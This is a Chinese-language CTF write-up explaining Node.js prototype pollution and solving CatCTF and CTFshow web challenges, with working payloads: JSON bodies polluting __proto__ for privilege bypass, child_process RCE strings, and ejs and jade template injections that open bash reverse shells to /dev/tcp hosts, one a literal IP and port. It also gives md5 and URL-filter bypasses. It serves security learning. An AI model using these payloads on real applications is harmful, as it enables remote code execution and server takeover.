浅析CTF中的Node.js原型链污染 |
您所在的位置:网站首页 › nodejs api接口 › 浅析CTF中的Node.js原型链污染 |
前言 Node.js之前并未有太多了解,最近遇上了一些相关题目,发现原型链污染是其一个常考点,在学习后对其进行了简单总结,希望对正在学习的师傅有所帮助 Node.js原型链污染首先强推这篇文章https://developer.mozilla.org/,读完后就会对原型链有个大致的了解,对后面学习非常有帮助。所以说什么是原型链污染呢? 偏官方一点的解释如下 在JavaScript中,每个对象都有一个原型,它是一个指向另一个对象的引用。当我们访问一个对象的属性时,如果该对象没有这个属性,JavaScript引擎会在它的原型对象中查找这个属性。这个过程会一直持续,直到找到该属性或者到达原型链的末尾。攻击者可以利用这个特性,通过修改一个对象的原型链,来污染程序的行为。例如,攻击者可以在一个对象的原型链上设置一个恶意的属性或方法,当程序在后续的执行中访问该属性或方法时,就会执行攻击者的恶意代码。 简单的说呢,其实就是我们对原链中的某个属性进行了污染,向其中插入恶意代码,当我们再调用这个链(也就是使用这个对象)时,我们的恶意代码就会被触发,此时就达到了一个执行恶意代码的效果。说到原型链污染,那就肯定离不开__proto__和prototype,所以接下来我们需要了解一下这两个是什么东西。 __proto__和prototype在JavaScript中,每个对象都有一个名为__proto__的内置属性,它指向该对象的原型。同时,每个函数也都有一个名为 prototype 的属性,它是一个对象,包含构造函数的原型对象应该具有的属性和方法。简单来说,__proto__ 属性是指向该对象的原型,而 prototype属性是用于创建该对象的构造函数的原型。 这么说有点抽象,因此这里举个例子来进行说明,首先我们打开谷歌浏览器,F12,切换到控制台,而后我们写入如下代码 function Person(name) { this.name = name; } Person.prototype.greet = function() { console.log(`Hello, my name is ${this.name}`); }; const person1 = new Person('Alice'); person1.greet(); // 输出 "Hello, my name is Alice"在例子中,我们创建了一个名为 Person的构造函数,并将prototype上的greet设置为一个打招呼的函数。当我们创建一个名为person1的实例时,它会继承Person.prototype对象上的greet方法。因此,当我们调用person1.greet()时,它会输出 "Hello, my name is Alice"。 我们实例化出来的person1对象,它是不能通过prototype访问原型的,但通过__proto__就可以实现访问Person原型,具体代码如下 console.log(person1.__proto__ === Person.prototype); // 输出 true总结(摘自https://www.leavesongs.com)1、prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法2、一个对象的__proto__属性,指向这个对象所在的类的prototype属性 他们的关系图如下所示 那么什么是原型链污染呢我们这里用一个简单例子来对其进行说明 var a = {number : 520} var b = {number : 1314} b.__proto__.number=520 var c= {} c.number
一、为什么执行过b.__proto__.number=520 后,我们输出b的值,其值仍为1314 这是因为在JavaScript中存在这样一种继承机制:我们这里调用b.number时,它的具体调用过程是如下所示的 1、在b对象中寻找number属性 2、当在b对象中没有找到时,它会在b.__proto__中寻找number属性 3、如果仍未找到,此时会去b.__proto__.__proto__中寻找number属性也就是说,它从自身开始寻找,然后一层一层向上递归寻找,直到找到或是递归到null为止,此机制被称为JavaScript继承链,我们这里的污染的属性是在b.__proto__中,而我们的b对象本身就有number,所以其值并未改变。 二、为什么新建的值为空的c对象,调用c.number竟然有值而且为我们设定的520 当明白上个问题时,这个问题也就迎刃而解了,我们这里的c对象虽然是空的,但JavaScript继承链的机制就会使它继续递归寻找,此时也就来到了c.__proto__中寻找number属性,我们刚刚进行了原型链污染,它的c.__proto__其实就是Object.protoype,而我们进行污染的b.__proto__也是Object.prototype,所以此时它调用的number就是我们刚刚污染的属性,所以这也就是为什么c .number=520 它常见于当存在函数(其功能是将一个数组的内容复制到另一个数组中)的情况下,示例如下 function merge(target, source) { for (let key in source) { if (key in source && key in target) { // 如果target与source有相同的键名 则让target的键值为source的键值 merge(target[key], source[key]) } else { target[key] = source[key] // 如果target与source没有相通的键名 则直接在target新建键名并赋给键值 } } } let o1 = {} let o2 = JSON.parse{a: 1, "__proto__": {b: 2}} merge(o1, o2) console.log(o1.a, o1.b) o3 = {} console.log(o3.b)
一、为什么要加JSON.parse,这个函数有什么作用,不加会怎么样? 这是因为,JSON解析的情况下,__proto__会被认为是一个真正的键名,而不代表原型,所以在遍历o2的时候会存在这个键。当不加的时候,他就会认为他是一个原型,此时情况如下 对于toUpperCase()函数 字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"对于toLowerCase 字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)详情可见https://www.leavesongs.com/ 实战CatCTF 2022 wife环境参考https://adworld.xctf.org.cn/challenges/list打开题目 我们这里注意到Object.assign方法,他类似之前示例说的clone函数,Object.assign这个方法是可以触发原型链污染的,所以我们这里污染__proto__.isAdmin为 true 就可以了。 {"__proto__":{"isAdmin":true}此时便可越权拿到flag 源码参考https://code-breaking.com/puzzle/9/#promo-block搭建环境的话,先安装一下express框架 cnpm i express -S
而后通过node server.js即可开启题目环境 首先我们这里可以发现存在merge函数 if (req.method == 'POST') { data = lodash.merge(data, req.body) req.session.data = data }这里的含义也是比较简单,即将我们POST提交的信息,通过merge合并到session中,最终我们所有提交的信息都会被保存到session中去,那么存在这个merge函数的话,说明我们可以进行原型链污染,那么我们污染的参数该是什么呢,我们这个时候看这几行代码 fs.readFile(filePath, (err, content) => { if (err) return callback(new Error(err)) let compiled = lodash.template(content) let rendered = compiled({...options})可以发现其对内容进行了lodash.template处理,我们跟进这个函数,具体代码可见https://github.com/lodash 可以发现这个sourceURL当没有值的时候就是一个空的状态,而当其有值时,就会取当前的这个值,我们看接下来他怎么处理
同时,这里之所以不用require的原因如下 Function 环境下没有 require 函数,直接使用require('child_process') 会报错,所以我们要用 global.process.mainModule.constructor._load 来代替。 CTFshow系列web334给了一个附件(zip),打开的话是两个文件,具体内容如下 #user.js module.exports = { items: [ {username: 'CTFSHOW', password: '123456'} ] }; #login.js var express = require('express'); var router = express.Router(); var users = require('../modules/user').items; var findUser = function(name, password){ return users.find(function(item){ return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password; }); }; /* GET home page. */ router.post('/', function(req, res, next) { res.type('html'); var flag='flag_here'; var sess = req.session; var user = findUser(req.body.username, req.body.password); if(user){ req.session.regenerate(function(err) { if(err){ return res.json({ret_code: 2, ret_msg: '登录失败'}); } req.session.loginUser = user.username; res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag}); }); }else{ res.json({ret_code: 1, ret_msg: '账号或密码错误'}); } }); module.exports = router;这里看到user.js里给出了账密,接下来我们在看login.js,这里的话可以看到对账号进行了一个toUpperCase()函数处理,这个函数的作用是将小写字符全部改为大写字符,如下图所示 进入后环境如下
还有另一个函数
和上关的环境相似,这里尝试上关的payload 方法一eval=require('child_process').execSync('cat f*')
用上面的第二个函数(spawnSync)可正常执行命令 eval=require('child_process').spawnSync('cat',['fl001g.txt']).output题目给出了源代码,如下所示 var express = require('express'); var router = express.Router(); var crypto = require('crypto'); function md5(s) { return crypto.createHash('md5') .update(s) .digest('hex'); } /* GET home page. */ router.get('/', function(req, res, next) { res.type('html'); var flag='xxxxxxx'; var a = req.query.a; var b = req.query.b; if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){ res.end(flag); }else{ res.render('index',{ msg: 'tql'}); } }); module.exports = router;重点在于 if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){ res.end(flag);md5的绕过,这里可以采用数组绕过的方式,构造如下语句即可 a[]=1&b=1也可以采用这个payload a[a]=1&b[b]=12这是因为此时题目两个打印出来的是一致的,都是Object,所以 这里给出了源代码,其中的login.js文件内容如下 var express = require('express'); var router = express.Router(); var utils = require('../utils/common'); /* GET home page. */ router.post('/', require('body-parser').json(),function(req, res, next) { res.type('html'); var flag='flag_here'; var secert = {}; var sess = req.session; let user = {}; utils.copy(user,req.body); if(secert.ctfshow==='36dboy'){ res.end(flag); }else{ return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)}); } }); module.exports = router;这个用到了utils里的copy函数,我们这里看一下utils中comman.js文件里的内容 module.exports = { copy:copy }; function copy(object1, object2){ for (let key in object2) { if (key in object2 && key in object1) { copy(object1[key], object2[key]) } else { object1[key] = object2[key] } } }这个的话就是一个简单的赋值,看这里就能猜出考察点是Node.js的原型污染,这里我们如果key是__proto__,就可以实现一个属性污染,这里要求的条件secert.ctfshow==='36dboy',如果我们去设置一个"__proto__":"ctfshow:36dboy",它首先在secret中寻找,没找到ctfshow,就会往上继续找,此时就会找到Object,因为Object.prototype中有ctfshow,所以此时我们就满足了条件,成功绕过 单看这个login.js的话,我们这里不知道flag,肯定是无法满足secert.ctfshow===flag的与上题相似,但这里的api.js内容中有这样一串代码 router.post('/', require('body-parser').json(),function(req, res, next) { res.type('html'); res.render('api', { query: Function(query)(query)}); });如果我们可以自定义query的内容,就可以实现RCE,所以我们这里的话就用原型链污染来修改__proto__的值,具体payload如下 {"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')"}}
这个题使用了ejs模板,对于ejs模板RCE我们这里的话可以看一下这两篇文章https://evi0s.com/https://xz.aliyun.com/t/7184#toc-7里面对其进行了具体分析,我比较菜,没大看懂,只知道最后的方法的话就是对一个名为outputFunctionName的成员进行赋值,其内容是我们的恶意代码,然后我们再次请求,就可以触发这个代码的执行,具体payload如下 "__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP地址/监听端口 0>&1\"');var __tmp2"}此时已成功写入恶意代码,接下来刷新一下界面即可成功反弹shell web340这里的话环境和上关类似,但login.js中的内容略有改动,具体如下 /* GET home page. */ router.post('/', require('body-parser').json(),function(req, res, next) { res.type('html'); var flag='flag_here'; var user = new function(){ this.userinfo = new function(){ this.isVIP = false; this.isAdmin = false; this.isAuthor = false; }; } utils.copy(user.userinfo,req.body); if(user.userinfo.isAdmin){ res.end(flag); }else{ return res.json({ret_code: 2, ret_msg: '登录失败'}); } });改动点在于utils.copy(user.userinfo,req.body);,原本是user的,所以说也就是原型链多了一层,我们再套一层即可,本来的原型链应该是 user.__proto__->Object.__proto__现在变成了 user.userinfo__proto->user.__proto__->Object.__proto__因此我们这里在上一关的payload基础上多加一个__proto__即可,具体payload如下 {"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/IP地址/监听端口 0>&1\"')"}}}
这里缺少了api.js,这样的话就说明没法再去用之前的方法来做了,但考虑到这里的ejs模板,所以这里的话应该是用ejs来进行反弹shell的,尝试用此payload进行反弹shell,与之前payload相似,多套一层__proto__,具体payload如下 {"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.255.142/7777 0>&1\"');var __tmp2"} }}而后刷新一下界面,以此来执行我们的恶意代码,接下来查看VPS是否成功反弹shell jade的原型链污染,参考链接https://xz.aliyun.com/t/7025,由于node.js了解较少,所以这里参考其他师傅的payload进行尝试,等学会node.js再对具体代码进行分析,payload如下 {"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/124.222.255.142/7777 0>&1\"')"}}}
说是增加了过滤,但仍沿用上一关payload,亦可打通 源码如下 router.get('/', function(req, res, next) { res.type('html'); var flag = 'flag_here'; if(req.url.match(/8c|2c|\,/ig)){ res.end('where is flag :)'); } var query = JSON.parse(req.query.query); if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){ res.end(flag); }else{ res.end('where is flag. :)'); } });可以看到我们这里需要满足三个条件 1、query.name==='admin' 2、query.password==='ctfshow' 3、query.isVIP===true我们这里平常的话如果没有过滤的话,直接这样写payload就可以 query={"name":"admin","password":"ctfshow","isVIP":true}但这里存在过滤(req.url.match(/8c|2c|\,/ig)),%2c是,,所以我们这里不能再用逗号,我们这里可以使用&&来代替它,但此时发现还不行,这是因为:"ctfshow这里,这个"的编码是%22,而它和c连起来,此时就是%22c,此时就有2c了,所以不满足条件,因此我们这里需要对c进行一次URL编码,所以最终payload是 query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true} 参考文章https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascripthttps://xz.aliyun.com/t/7182#toc-7https://blog.csdn.net/miuzzx/article/details/111780832https://xz.aliyun.com/t/7184#toc-11 |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |